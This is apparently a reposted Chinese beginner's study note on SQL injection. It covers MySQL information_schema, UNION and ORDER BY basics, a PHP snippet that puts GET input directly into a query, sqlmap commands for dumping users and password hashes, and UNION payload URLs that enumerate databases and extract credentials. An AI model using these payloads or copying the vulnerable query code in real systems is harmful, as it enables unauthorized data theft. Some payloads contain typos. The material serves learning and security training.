SQL注入入门

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入入门相关的知识,希望对你有一定的参考价值。

9块9的SQL注入公开课笔记

目录

  1. SQL注入简介
  2. mysql入门
  3. php基本入门
  4. 注入讲解

SQL注入简介

SQL注入是一种将SQL代码添加到输入参数中传递到SQL服务器解析并执行的一种方法

SQL注入产生条件:

  1. 有传递参数
  2. 参数传入到数据库中
  3. 在数据库中执行

MySQL入门

information_schema数据库

  • MySQL大致分为两类,MySQL5.0以上及以下

    MySQL5.0以上会增加一个information_schema系统数据库

  • information_schema系统数据库

    在mysql中把information_schema看作是一个数据库,确切说是信息数据库,其中保存着关于mysql服务器维护的所有其他数据库信息

    • SCHEMATA表

    ? 提供当前mysql实例中所有数据库信息

    • TABLES表

    提供了关于数据库中表的信息,详细表述了某个数据库中所有表的信息

    • COLUMNS表

    提供了表中的列信息,详细描述了某张表的所有列以及每个列的信息

  • mysql库下的user表中存放的是所有登录mysql数据库的用户名和密码

    下列sqlmap语句都是查询的mysql库下的user表的里的列信息

    sqlmap -u "xxx?id=1" --current-user //查询当前登录用户
    sqlmap -u "xxx?id=1" --users  //查询所以登录该数据库的用户名
    sqlmap -u "xxx?id=1" --passwords  //查询用户密码通常为sqlmd5加密

select语句

  • select语句在数据库中作用于查询

    select * from test.users 
    //查询test库下的users表中的所有数据
    select username from test.users 
    //查询test库下的users表中username的列数据
    select * from test.users where id=1 
    //查询test库下的users表中id为1的数据
    select * from test.users where address=‘china‘ and username=‘lzx‘
    //查询test库下的users表中address为china并且username为lzx的数据

以最后一个语句举例:

? select * from test.users where address=‘china‘ and username=‘lzx‘

? select * from test.users 代表查询的位置,查询test库下users表中的所有数据

? where 在哪 后面需要加上查询的条件

? address=‘china‘ test库下users表中address列为China的数据

? and 和、并且 有多个查询条件时

? username=‘lzx’ test库下users表中username列为lzx的数据

在较多的数据中查询,用到多个条件会使查询的结果更加准确

假设下面这个表格就是我们要查的数据,如果只用到了address=china的话会查出来三个数据,但是我们要查询的是address=china并且username=lzx的数据,所有需要用两个条件来进行查询

id address username
1 china lzx
2 China abc
3 China def

and逻辑

两边的条件同为true的时候整体表示正确,若有一个为false则整体为false

还是根据上面的表格来进行分析,随便写一个语句

select * from test.users where id=1 and username=lzx

刚才我们提到了and左右两边的条件有逻辑规则,上面的句子我们的两个条件就是id跟username

现在这个语句是成立的,两边条件都是true,直接查询可以查询出来数据

现在我们把一个条件改成错误的

select * from test.users where id=1 and username=xxx

这样的话两边的条件一个为true一个为false,这样是查不出来数据的会报错

两个条件都是true这个语句才是true,若有一个条件为false则整体语句为false

判断注入点

我们通常会构造错误的sql语句来判断网站是否存在注入(‘ and =1 and 1=2)

select * from users where id=1 (id=1 后面的这个1就是从前端传递的参数),这是正常的语句

如果把参数改成 id=1‘ 那么就会报错,因为 ‘ 属于字符串,字符串被代入查询了

还有就是id=1 and 1=1 这样的语句两边条件成立就是可以查询到数据的

如果是id=1 and 1=2 这样的两个条件不成立会报错查询不到数据

一般通过上面这三个步骤就可以判断是否存在注入点

闭合

注入一般可以分为数字型跟字符型

select * from users where id=1

select * from users where username=‘lzx‘

如果我们想在第二个语句后面加上and1=1这样语句就会报错,需要进行闭合

select * from users where username=‘lzx and 1=1‘ 报错

我们需要执行的是username=lzx,所以我们需要让and1=1在单引号外面执行

select * from users where username=‘lzx’ and 1=1‘(注意单引号加的位置)但是多了一个单引号

这时候可以用注释符号来解决

select * from users where username=‘lzx and 1=1#‘ (#号)

select * from users where username=‘lzx‘ and 1=1 -- ‘ (俩横线+空格)

通过闭合这两句都是可执行的

order by语句

order by 排序语句 默认升序排序

select * from test.users order by 1
//根据表格的第一列排序
select * from test.users order by 2
//根据表格第二列排序
select * from test.users order by 3
//根据表格第三列排序
id age name
1 18 NULL
2 22 a
3 26 b

union语句

union 联合查询语句

union内部的select语句必须拥有相同数量的列,列也必须拥有相似的数据类型,每条select语句中的列的顺序必须相同

id username password
1 admin 123456
2 sa 33333
3 root 11111
select username from users union select password from users
//查询users表中username列和password列的数据
username
admin
root
sa
11111
123456
33333
select * from users union select 1,1,1 from users
id username password
1 admin 123456
2 sa 33333
3 root 11111
1 1 1

插入的数据应该与列数一致,现在是三列出入插入的数据是4个就会报错

PHP基础入门

打开php文件的条件:

? 电脑装有php环境

? 需要有服务器(apache,iis,nginx)进行解析,可以使用 phpstudy、phpstorm

变量规则

  • 变量以$符号开头,后面是变量名称
  • 变量名称必须以字母或下划线开头
  • 变量名称不能以数字开头
  • 变量名称只能包含字母数字
  • 变量名称只对大小写敏感
<?php

echo "hello world";

?>

$ _GET与$ _POST

$id=$_GET[‘id‘];
$id=$_POST[‘id‘];

mysqli_connect()

$con=mysqli_connect("localhost","root","root","test");

代入查询

$sql="select * from users where id=$id";
$result = mysqli_query($con,$sql);

注入讲解

判断是否存在注入

注入查询

  • information_schema系统数据库

    在mysql中把information_schema看作是一个数据库,确切说是信息数据库,其中保存着关于mysql服务器维护的所有其他数据库信息

  • SCHEMATA表

? 提供当前mysql实例中所有数据库信息

  • TABLES表

    提供了关于数据库中表的信息,详细表述了某个数据库中所有表的信息

  • COLUMNS表

    提供了表中的列信息,详细描述了某张表的所有列以及每个列的信息

  • 加上limit参数避免查询的数据太长无法显示,limit参数从0开始计算

  • http://url/sql_id.php?id=-1 union select 1,2,3,4,5,6 方便查看输出的数据

  • http://url/sql_id.php?id=-1 union select 1,database(),3,4,5,6 查询数据库名称

  • http://url/sql_id.php?id=-1 union select (select schema_name from information_schema.schemata limit 0,1),2,3,4,5,6

    //查询information_schema库下的schemata表中的schema_name列下的第一个数据

  • http://url/sql_id.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema=‘test‘ limit 0,1),3,4,5,6

    //查询information_schema库下的tables表中的table_name列下的第一个数据

  • http://url/sql_id.php?id=-1 union select 1,(select colunm_name from information_schema.columns where table_schema=‘test‘ and table_name=‘users limit 0,1),3,4,5,6

    //查询information_schema库下的columns表中的column_name列下的第一个数据

  • http://url/sql_id.php?id=-1 union select 1,(select username from test.users limit 0,1),(select password from test.users limit 0,1),3,4,5,6

    //查询test库下的users表中的username列的第一个数据,查询test库下的users表中的password列的第一个数据

    注:个人笔记,如果有理解错误或者写的不严谨的地方欢迎读者老爷们告诉我

以上是关于SQL注入入门的主要内容,如果未能解决你的问题,请参考以下文章

PHP代码审计入门(SQL注入漏洞挖掘基础)

SQL注入入门

SQL注入漏洞全接触--入门篇

如何防治SQL注入?

MyBatis如何防止SQL注入

MyBatis怎么防止SQL注入